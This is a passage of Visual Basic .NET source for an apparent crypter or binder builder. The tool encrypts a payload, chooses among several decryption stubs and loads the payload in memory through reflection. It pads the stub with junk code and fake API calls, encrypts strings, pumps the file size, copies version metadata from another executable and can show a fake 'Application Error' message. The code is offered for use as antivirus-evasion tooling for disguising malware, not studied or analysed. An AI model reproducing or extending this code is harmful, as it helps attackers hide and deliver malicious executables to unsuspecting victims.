Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(D.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _
Chr(34) & ")))))" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
ElseIf RadioButton21.Checked = True Then
Binder = "Dim FDC As String = D.Decrypt(R.GetObject(" & Chr(34) & "Ev" & _
Chr(34) & "))" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
ElseIf RadioButton24.Checked = True Then
Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _
Chr(34) & "))), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & ")))" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
End If
Stub = Stub.Replace("'FilledSplitting", Binder)
End If
If CheckBox62.Checked = True Then
Stub = Stub.Replace("'junkFunction", JunkFunction(NumericUpDown10.Value))
End If
If CheckBox64.Checked = True Then
Stub = Stub.Replace("'heavyJunk", GenerateJunk(NumericUpDown12.Value))
End If
Dim FileByte As Byte() = IO.File.ReadAllBytes(TextBox1.Text)
If FileByte(60) = 128 Then
Stub = Stub.Replace("'InvokeSub", My.Resources.Invoke)
Dim DotnetLoader As String
If RadioButton1.Checked = True Then
DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & """K""" & ")), I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(RC4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & _
"""K""" & ")))")
ElseIf RadioButton4.Checked = True Then
DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & _
", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {III, I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(III)")
ElseIf RadioButton9.Checked = True Then
DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & _
", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {III, I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(III)")
ElseIf RadioButton10.Checked = True Then
DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & """K""" & ")), I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & _
"""K""" & ")))")
ElseIf RadioButton17.Checked = True Then
DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & ")))), I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & ")))))")
ElseIf RadioButton2.Checked = True Then
DotnetLoader = " LoadMethod(" & """IX""" & ", " & """R""" & _
", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {III, I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(III)")
ElseIf RadioButton3.Checked = True Then
DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & ")))), I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" _
& """F""" & ")))))")
ElseIf RadioButton24.Checked = True Then
DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & """K""" & ")), I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & _
"""K""" & ")))")
ElseIf RadioButton21.Checked = True Then
DotnetLoader = " LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {C, I})"
Stub = Stub.Replace(DotnetLoader, "RInvoke(C)")
End If
End If
Stub = Stub.Replace("""CSharp""", EncryptString("CSharp"))
Stub = Stub.Replace("""System.dll""", EncryptString("System.dll"))
Stub = Stub.Replace("""System.Management.dll""", EncryptString("System.Management.dll"))
Stub = Stub.Replace("""/platform:x86""", EncryptString("/platform:x86"))
If CheckBox57.Checked = True Then
Dim SP() As String
SP = Split(My.Resources.APIs, "|")
If NumericUpDown9.Value < 2 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
ElseIf NumericUpDown9.Value < 3 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
ElseIf NumericUpDown9.Value < 4 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
ElseIf NumericUpDown9.Value < 5 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
Stub = Stub.Replace("'FakeAPI#4", SP(3))
ElseIf NumericUpDown9.Value < 6 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
Stub = Stub.Replace("'FakeAPI#4", SP(3))
Stub = Stub.Replace("'FakeAPI#5", SP(4))
ElseIf NumericUpDown9.Value < 7 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
Stub = Stub.Replace("'FakeAPI#4", SP(3))
Stub = Stub.Replace("'FakeAPI#5", SP(4))
Stub = Stub.Replace("'FakeAPI#6", SP(5))
ElseIf NumericUpDown9.Value < 8 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
Stub = Stub.Replace("'FakeAPI#4", SP(3))
Stub = Stub.Replace("'FakeAPI#5", SP(4))
Stub = Stub.Replace("'FakeAPI#6", SP(5))
Stub = Stub.Replace("'FakeAPI#7", SP(6))
ElseIf NumericUpDown9.Value < 9 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
Stub = Stub.Replace("'FakeAPI#4", SP(3))
Stub = Stub.Replace("'FakeAPI#5", SP(4))
Stub = Stub.Replace("'FakeAPI#6", SP(5))
Stub = Stub.Replace("'FakeAPI#7", SP(6))
Stub = Stub.Replace("'FakeAPI#8", SP(7))
ElseIf NumericUpDown9.Value < 10 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
Stub = Stub.Replace("'FakeAPI#4", SP(3))
Stub = Stub.Replace("'FakeAPI#5", SP(4))
Stub = Stub.Replace("'FakeAPI#6", SP(5))
Stub = Stub.Replace("'FakeAPI#7", SP(6))
Stub = Stub.Replace("'FakeAPI#8", SP(7))
Stub = Stub.Replace("'FakeAPI#9", SP(8))
ElseIf NumericUpDown9.Value < 11 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
Stub = Stub.Replace("'FakeAPI#4", SP(3))
Stub = Stub.Replace("'FakeAPI#5", SP(4))
Stub = Stub.Replace("'FakeAPI#6", SP(5))
Stub = Stub.Replace("'FakeAPI#7", SP(6))
Stub = Stub.Replace("'FakeAPI#8", SP(7))
Stub = Stub.Replace("'FakeAPI#9", SP(8))
Stub = Stub.Replace("'FakeAPI#A", SP(9))
ElseIf NumericUpDown9.Value < 12 Then
Stub = Stub.Replace("'FakeAPI#1", SP(0))
Stub = Stub.Replace("'FakeAPI#2", SP(1))
Stub = Stub.Replace("'FakeAPI#3", SP(2))
Stub = Stub.Replace("'FakeAPI#4", SP(3))
Stub = Stub.Replace("'FakeAPI#5", SP(4))
Stub = Stub.Replace("'FakeAPI#6", SP(5))
Stub = Stub.Replace("'FakeAPI#7", SP(6))
Stub = Stub.Replace("'FakeAPI#8", SP(7))
Stub = Stub.Replace("'FakeAPI#9", SP(8))
Stub = Stub.Replace("'FakeAPI#A", SP(9))
Stub = Stub.Replace("'FakeAPI#B", SP(10))
End If
End If
Stub = Stub.Replace("""APPDATA""", EncryptString("APPDATA"))
'Dim xx As New IO.StreamWriter(Application.StartupPath & "\1.txt")
'xx.WriteLine(Stub)
'xx.Flush()
'xx.Close()
End Sub
Function GenerateJunk(ByVal ammount As Integer) As String
If ammount = 0 Then
ammount = 1
End If
Dim out As String = "Module " & SS(20)
Dim y As Integer = 0
Do Until y = ammount
Rnd()
Dim a As Integer = n(3, 1)
Dim e As String = SS(60)
If a = 1 Then
out += vbNewLine & vbNewLine & "Public Function " & SS(124) & "(" & SS(16) & " as string)as string" & vbNewLine
out += "on error goto " & e & vbNewLine
Else
out += vbNewLine & "Public Sub " & SS(n(50, 8)) & "(" & SS(49) & " as string)" & vbNewLine
End If
Dim i As Integer = 0
Dim limit As Integer = n(30, 10)
Do Until i = limit
Rnd()
Dim type As Integer = n(5, 0)
If type = 1 Then
out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine
i += 1
ElseIf type = 2 Then
out += "msgbox(" & Chr(34) & SS(n(100, 276)) & Chr(34) & ")" & vbNewLine
i += 1
ElseIf type = 3 Then
Rnd()
out += "Dim " & SS(56) & " as integer = " & n(999999, 100000) & vbNewLine
i += 1
Else
out += "dim " & SS(n(10, 60)) & " as integer = " & n(100000, 9999999) & " + " & n(214124, 1243145) & " + " & n(214124, 1243145) & " + " & n(214124, 1243145) & vbNewLine
End If
Loop
If a = 1 Then
out += e & ":" & vbNewLine
Dim h As Integer = 0
Dim hl As Integer = n(10, 3)
Do Until h = hl
Dim type As Integer = n(4, 0)
If type = 1 Then
out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine
i += 1
ElseIf type > 1 Then
out += "msgbox(" & Chr(34) & SS(n(100, 276)) & Chr(34) & ")" & vbNewLine
i += 1
out += "If " & n(100000, 9999999) & " > " & n(214124, 1243145) & " then" & vbNewLine
out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine
out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine
out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine
out += "End if" & vbNewLine
Else
Rnd()
out += "Dim " & SS(56) & " as integer = " & n(999999, 100000) & vbNewLine
i += 1
End If
h += 1
Loop
out += "End Function" & vbNewLine & vbNewLine
Else
out += "End Sub" & vbNewLine & vbNewLine
End If
y += 1
Loop
out += "End Module"
Return out
End Function
Function SS(ByVal len As String) As String
Dim x As New Password
Return x.GeneratePassword(True, True, False, False, len)
End Function
Public Function n(ByVal MaxNumber As Integer, _
Optional ByVal MinNumber As Integer = 0) As Integer
Rnd()
Threading.Thread.Sleep(5)
'initialize random number generator
Dim r As New Random(System.DateTime.Now.Millisecond)
'if passed incorrect arguments, swap them
'can also throw exception or return 0
If MinNumber > MaxNumber Then
Dim t As Integer = MinNumber
MinNumber = MaxNumber
MaxNumber = t
End If
Return r.Next(MinNumber, MaxNumber)
End Function
Public Class Password
Private Const PASS_UPPERS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Private Const PASS_LOWERS As String = "abcdefghijklmnopqrstuvwxyz"
Private Const PASS_NUMBERS As String = "0123456789"
Private Const PASS_SPECIALS As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?"
Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String
Dim strCharacters As String
Dim strNewPassword As String
Dim p As Integer
If Uppers = True Then
strCharacters = strCharacters & PASS_UPPERS
End If
If Lowers = True Then
strCharacters = strCharacters & PASS_LOWERS
End If
If Numbers = True Then
strCharacters = strCharacters & PASS_NUMBERS
End If
If Specials = True Then
strCharacters = strCharacters & PASS_SPECIALS
End If
Randomize()
For p = 0 To (passwordLength - 1)
strNewPassword = strNewPassword + Mid(strCharacters, Len(strCharacters) * Rnd() + 1, 1)
Next
GeneratePassword = strNewPassword
End Function
End Class
Function JunkFunction(ByVal countloop As Integer)
Dim i As Integer = 0
Dim path As String = Application.StartupPath & "\Hold"
Do Until i = countloop
Dim x As String = Environment.NewLine
Dim xxx As New Random
Dim random As String = x & x & "Function " & RandomVar() & x & x & "Dim " & RandomVar() & " As String = " & Chr(34) & _
RandomVar() & Chr(34) & x & x & "Dim " & RandomVar() & " As Integer = " & xxx.Next(20, 99) & x & x & _
"End Function" & x & x
IO.File.AppendAllText(path, random)
i = i + 1
Loop
Dim s As String = IO.File.ReadAllText(path)
IO.File.Delete(path)
Return s
End Function
Public Function RandomVar(Optional ByVal Count As Integer = Nothing) As Object
Const LowerCase As String = "abcdefghijklmnopqrstuvwxyz"
Const UpperCase As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Const Num As String = "_"
Dim totalequivalent As String
Dim i As Short
totalequivalent = LowerCase & UpperCase & Num
If Count = Nothing Then
For i = 1 To CInt("15")
RandomVar = RandomVar & Mid(totalequivalent, Int((Rnd() * Len(totalequivalent)) + 1), 1)
Next i
Else
For i = 1 To CInt(Count)
RandomVar = RandomVar & Mid(totalequivalent, Int((Rnd() * Len(totalequivalent)) + 1), 1)
Next i
End If
Return RandomVar
End Function
Function PumpFile(ByVal xFile As String, ByVal xKilobytes As Integer) As String
Dim z = IO.File.OpenWrite(xFile)
Dim c = z.Seek(0, SeekOrigin.[End])
Dim b = Convert.ToInt32(xKilobytes)
Dim v As Decimal = b * 1048
While c < v
c += 1
z.WriteByte(0)
End While
z.Close()
Return 0
End Function
Dim xpath As String = Application.StartupPath & "\Q"
Function EncryptString(ByVal Input As String) As String
Dim str(5) As String
restart:
MyGuid = Guid.NewGuid
str(0) = MyGuid.ToString
str(1) = Input
If RadioButton19.Checked = True Then
str(2) = Encryption_Algorithms.TripleDES(str(1), str(0), True)
str(3) = Encryption_Algorithms.TripleDESdecrypt(str(2), str(0), True)
ElseIf RadioButton20.Checked = True Then
str(2) = Encryption_Algorithms.Rijndael(str(1), str(0))
str(3) = Encryption_Algorithms.RijndaelDecrypt(str(2), str(0))
ElseIf RadioButton18.Checked = True Then
str(2) = Encryption_Algorithms.xEncryption(str(0), str(1))
str(3) = Encryption_Algorithms.xEncryptionD(str(0), str(2))
ElseIf RadioButton25.Checked = True Then
str(2) = Encryption_Algorithms.PolyCrypt(str(1))
str(3) = Encryption_Algorithms.PolyDec(str(2))
End If
If str(3) = str(1) Then
If RadioButton19.Checked = True Then
str(4) = "TripleDESDecrypt" & "(" & Chr(34) & str(2) & Chr(34) & ", " & Chr(34) & str(0) & Chr(34) & ", True" & ")"
ElseIf RadioButton20.Checked = True Then
str(4) = "RijndaelDecrypt" & "(" & Chr(34) & str(2) & Chr(34) & ", " & Chr(34) & str(0) & Chr(34) & ")"
ElseIf RadioButton18.Checked = True Then
str(4) = "xEncryptionD" & "(" & Chr(34) & str(0) & Chr(34) & ", " & Chr(34) & str(2) & Chr(34) & ")"
ElseIf RadioButton25.Checked = True Then
str(4) = "PolyDec" & "(" & Chr(34) & str(2) & Chr(34) & ")"
End If
Else
GoTo restart
End If
Return str(4)
End Function
Dim _P As New Point, _X, _Y As Integer
Private Sub MD1() Handles PictureBox1.MouseDown
_X = MousePosition.X - Location.X : _Y = MousePosition.Y - Location.Y
End Sub
Private Sub MM1(ByVal S, ByVal E) Handles PictureBox1.MouseMove
If E.Button = 1048576 Then : _P = MousePosition : _P.X -= _X : _P.Y -= _Y : Location = _P : End If
End Sub
Public Shared Function ReverseString(ByVal s As String) As String
Dim arr As Char() = s.ToCharArray()
Array.Reverse(arr)
Return New String(arr)
End Function
Sub Compile(ByVal Code As String, ByVal Path As String, ByVal FormProgram As Boolean, ByVal MainClass As String, _
ByVal CSharp As Boolean, Optional ByVal Resource As String = Nothing, Optional ByVal _
Icon As String = Nothing)
Dim CodeProvider As Object
If CSharp Then
CodeProvider = New Microsoft.CSharp.CSharpCodeProvider
Else
CodeProvider = New Microsoft.VisualBasic.VBCodeProvider
End If
Dim Parameters As New CodeDom.Compiler.CompilerParameters
With Parameters
If Not Resource = Nothing Then
.EmbeddedResources.Add(Resource)
End If
.GenerateExecutable = True
.OutputAssembly = Path
If FormProgram Then .CompilerOptions += "/target:winexe /platform:x86 /removeintchecks+"
If Not Icon = Nothing Then
.CompilerOptions += " /win32icon:" & tempicon
End If
.MainClass = MainClass
.IncludeDebugInformation = False
For Each ASM In AppDomain.CurrentDomain.GetAssemblies
.ReferencedAssemblies.Add(ASM.Location)
Next
End With
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
If Results.Errors.Count > 0 Then
For Each E In Results.Errors
MsgBox(E.ErrorText)
Next
End If
If IO.File.Exists(tempicon) Then
IO.File.Delete(tempicon)
End If
End Sub
Private Sub MButton6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton6.Click
oo.DefaultExt = ""
oo.Filter = "Portable Executable Files (*.Exe)|*.Exe"
oo.FilterIndex = 1
oo.FileName = ""
If oo.ShowDialog(Me) = 1 Then
TextBox3.Text = oo.FileName
End If
End Sub
Private Sub MButton10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton10.Click
Application.Exit()
End Sub
Private Sub CheckBox26_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox26.CheckedChanged
If CheckBox26.Checked = True Then
CheckBox2.Checked = True
CheckBox3.Checked = True
CheckBox4.Checked = True
CheckBox5.Checked = True
CheckBox6.Checked = True
CheckBox7.Checked = True
CheckBox8.Checked = True
CheckBox9.Checked = True
CheckBox10.Checked = True
CheckBox11.Checked = True
CheckBox12.Checked = True
CheckBox13.Checked = True
CheckBox14.Checked = True
CheckBox15.Checked = True
CheckBox16.Checked = True
CheckBox17.Checked = True
CheckBox18.Checked = True
CheckBox19.Checked = True
CheckBox20.Checked = True
CheckBox21.Checked = True
CheckBox22.Checked = True
CheckBox23.Checked = True
CheckBox24.Checked = True
CheckBox25.Checked = True
Else
CheckBox2.Checked = False
CheckBox3.Checked = False
CheckBox4.Checked = False
CheckBox5.Checked = False
CheckBox6.Checked = False
CheckBox7.Checked = False
CheckBox8.Checked = False
CheckBox9.Checked = False
CheckBox10.Checked = False
CheckBox11.Checked = False
CheckBox12.Checked = False
CheckBox13.Checked = False
CheckBox14.Checked = False
CheckBox15.Checked = False
CheckBox16.Checked = False
CheckBox17.Checked = False
CheckBox18.Checked = False
CheckBox19.Checked = False
CheckBox20.Checked = False
CheckBox21.Checked = False
CheckBox22.Checked = False
CheckBox23.Checked = False
CheckBox24.Checked = False
CheckBox25.Checked = False
End If
End Sub
Dim o2 As New OpenFileDialog
Private Sub MButton7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton7.Click
o2.DefaultExt = ""
o2.Filter = "Portable Executable Files (*.Exe)|*.Exe"
o2.FilterIndex = 1
o2.FileName = ""
If o2.ShowDialog(Me) = 1 Then
TextBox17.Text = o2.FileName
Try
LoadAttributes(Assembly.LoadFile(TextBox17.Text))
Catch ex As Exception
MessageBox.Show("Assembly Loader only works for .NET Files", "Unsuccessful", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Try
End If
End Sub
Sub LoadAttributes(ByVal assembly As Assembly)
Dim P = New Properties(assembly)
TextBox5.Text = P.Description
TextBox6.Text = P.Company
TextBox7.Text = P.Copyright
NumericUpDown1.Value = P.FileVersion.Major
NumericUpDown2.Value = P.FileVersion.Minor
NumericUpDown3.Value = P.FileVersion.Build
NumericUpDown4.Value = P.FileVersion.Revision
End Sub
Structure Properties
Dim Title, Description, Company, Product, Copyright, Trademark As String, Version, FileVersion As Version
Private H As Assembly
Sub New(ByVal assembly As Assembly)
H = assembly
Title = Search(Of AssemblyTitleAttribute)().Title
Description = Search(Of AssemblyDescriptionAttribute)().Description
Company = Search(Of AssemblyCompanyAttribute)().Company
Product = Search(Of AssemblyProductAttribute)().Product
Copyright = Search(Of AssemblyCopyrightAttribute)().Copyright
Trademark = Search(Of AssemblyTrademarkAttribute)().Trademark
Version = New Version(assembly.GetName.Version.ToString)
Dim T = Search(Of AssemblyFileVersionAttribute)()
FileVersion = New Version(If(T Is Nothing, "0.0.0.0", T.Version))
End Sub
Private Function Search(Of T)() As T
Try
Return H.GetCustomAttributes(GetType(T), 0)(0)
Catch : End Try
End Function
Public Overrides Function ToString() As String
Dim S As New System.Text.StringBuilder, B = "<Assembly: Assembly", E = """)>"
If Title <> "" Then S.AppendLine(B & "Title(""" & Title & E)
If Description <> "" Then S.AppendLine(B & "Description(""" & Description & E)
If Company <> "" Then S.AppendLine(B & "Company(""" & Company & E)
If Product <> "" Then S.AppendLine(B & "Product(""" & Product & E)
If Copyright <> "" Then S.AppendLine(B & "Copyright(""" & Copyright & E)
If Trademark <> "" Then S.AppendLine(B & "Trademark(""" & Trademark & E)
If Version.ToString <> "0.0.0.0" Then S.AppendLine(B & "Version(""" & Version.ToString & E)
If FileVersion.ToString <> "0.0.0.0" Then S.AppendLine(B & "FileVersion(""" & FileVersion.ToString & E)
Return S.ToString
End Function
End Structure
Private Sub MButton11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton11.Click
TextBox5.Clear()
TextBox6.Clear()
TextBox7.Clear()
NumericUpDown1.Value = 1
NumericUpDown2.Value = 0
NumericUpDown3.Value = 0
NumericUpDown4.Value = 0
End Sub
Private Sub CheckBox28_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox28.CheckedChanged
If CheckBox28.Checked = True Then
GroupBox2.Enabled = True
RadioButton11.Checked = True
Else
GroupBox2.Enabled = False
RadioButton11.Checked = False
End If
End Sub
Private Sub CheckBox68_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox68.CheckedChanged
If CheckBox68.Checked = True Then
NumericUpDown6.Enabled = True
RadioButton15.Enabled = True
RadioButton15.Checked = True
RadioButton16.Enabled = True
Else
NumericUpDown6.Enabled = False
NumericUpDown7.Enabled = False
RadioButton15.Enabled = False
RadioButton15.Checked = False
RadioButton16.Enabled = False
RadioButton16.Checked = False
End If
End Sub
Private Sub MButton8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton8.Click
If RadioButton26.Checked = True Then
If RadioButton43.Checked Then
MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.OK, MessageBoxIcon.Error)
ElseIf RadioButton45.Checked Then
MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.YesNo, MessageBoxIcon.Error)
ElseIf RadioButton46.Checked Then
MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.OKCancel, MessageBoxIcon.Error)
ElseIf RadioButton47.Checked Then
MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.RetryCancel, MessageBoxIcon.Error)
End If
ElseIf RadioButton28.Checked = True Then
If RadioButton43.Checked Then
MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
ElseIf RadioButton45.Checked Then
MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.YesNo, MessageBoxIcon.Information)
ElseIf RadioButton46.Checked Then
MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.OKCancel, MessageBoxIcon.Information)
ElseIf RadioButton47.Checked Then
MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.RetryCancel, MessageBoxIcon.Information)
End If
End If
End Sub
Private Sub CheckBox29_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox29.CheckedChanged
If CheckBox29.Checked = True Then
TextBox19.Text = "The application failed to initialize properly (0xc000007b). Click on OK to terminate the application."
TextBox9.Text = "Application Error"
Else
TextBox19.Text = ""
TextBox9.Text = ""
End If
End Sub
Function AssemblyChange()
Return "<Assembly: AssemblyDescription(" & Chr(34) & TextBox5.Text & Chr(34) & ")>" & Environment.NewLine & _
"<Assembly: AssemblyCompany(" & Chr(34) & TextBox6.Text & Chr(34) & ")>" & Environment.NewLine & _
"<Assembly: AssemblyVersion(" & Chr(34) & NumericUpDown1.Value & "." & NumericUpDown2.Value & "." & NumericUpDown3.Value & _
"." & NumericUpDown4.Value & Chr(34) & ")>" & Environment.NewLine & "<Assembly: AssemblyCopyright(" & Chr(34) & _
TextBox7.Text & Chr(34) & ")>"
End Function
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
RadioButton15.Enabled = False
RadioButton16.Enabled = False
NumericUpDown6.Enabled = False
NumericUpDown7.Enabled = False
GroupBox2.Enabled = False
TabControl1.TabPages(1).Enabled = False
TabControl1.TabPages(2).Enabled = False
TabControl1.TabPages(3).Enabled = False
TabControl1.TabPages(4).Enabled = False
TabControl1.TabPages(5).Enabled = False
TabControl1.TabPages(6).Enabled = False
End Sub
Private Sub CheckBox71_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox71.CheckedChanged
If CheckBox71.Checked = True Then
TabControl1.TabPages(1).Enabled = True
CheckBox2.Checked = True
CheckBox3.Checked = True
CheckBox4.Checked = True
CheckBox5.Checked = True
CheckBox6.Checked = True
CheckBox7.Checked = True
CheckBox8.Checked = True
CheckBox9.Checked = True
CheckBox10.Checked = True
CheckBox11.Checked = True
CheckBox12.Checked = True
CheckBox13.Checked = True
CheckBox14.Checked = True
CheckBox15.Checked = True
CheckBox16.Checked = True
CheckBox17.Checked = True
CheckBox18.Checked = True
CheckBox19.Checked = True
CheckBox20.Checked = True
CheckBox21.Checked = True
CheckBox22.Checked = True
CheckBox23.Checked = True
CheckBox24.Checked = True
CheckBox25.Checked = True
Else
TabControl1.TabPages(1).Enabled = False
CheckBox2.Checked = False
CheckBox3.Checked = False
CheckBox4.Checked = False
CheckBox5.Checked = False
CheckBox6.Checked = False
CheckBox7.Checked = False
CheckBox8.Checked = False
CheckBox9.Checked = False
CheckBox10.Checked = False
CheckBox11.Checked = False
CheckBox12.Checked = False
CheckBox13.Checked = False
CheckBox14.Checked = False
CheckBox15.Checked = False
CheckBox16.Checked = False
CheckBox17.Checked = False
CheckBox18.Checked = False
CheckBox19.Checked = False
CheckBox20.Checked = False
CheckBox21.Checked = False
CheckBox22.Checked = False
CheckBox23.Checked = False
CheckBox24.Checked = False
CheckBox25.Checked = False
End If
End Sub
Private Sub CheckBox72_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox72.CheckedChanged
If CheckBox72.Checked = True Then
TabControl1.TabPages(2).Enabled = True
Else
TabControl1.TabPages(2).Enabled = False
End If
End Sub
Private Sub CheckBox75_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox75.CheckedChanged
If CheckBox75.Checked = True Then
TabControl1.TabPages(5).Enabled = True
Else
TabControl1.TabPages(5).Enabled = False
CheckBox50.Checked = False
CheckBox51.Checked = False
CheckBox52.Checked = False
CheckBox53.Checked = False
CheckBox54.Checked = False
CheckBox55.Checked = False
CheckBox56.Checked = False
CheckBox57.Checked = False
CheckBox58.Checked = False
CheckBox60.Checked = False
CheckBox61.Checked = False
End If
End Sub
Private Sub CheckBox73_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox73.CheckedChanged
If CheckBox73.Checked = True Then
TabControl1.TabPages(3).Enabled = True
Else
TabControl1.TabPages(3).Enabled = False
CheckBox28.Checked = False
CheckBox30.Checked = False
CheckBox68.Checked = False
NumericUpDown5.Value = 0
RadioButton11.Checked = False
RadioButton12.Checked = False
RadioButton13.Checked = False
RadioButton15.Checked = False
RadioButton16.Checked = False
End If
End Sub
Private Sub CheckBox74_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox74.CheckedChanged
If CheckBox74.Checked = True Then
TabControl1.TabPages(4).Enabled = True
CheckBox33.Checked = True
CheckBox34.Checked = True
CheckBox35.Checked = True
CheckBox36.Checked = True
CheckBox37.Checked = True
CheckBox38.Checked = True
CheckBox39.Checked = True
CheckBox40.Checked = True
CheckBox41.Checked = True
CheckBox42.Checked = True
CheckBox43.Checked = True
CheckBox44.Checked = True
CheckBox45.Checked = True
CheckBox46.Checked = True
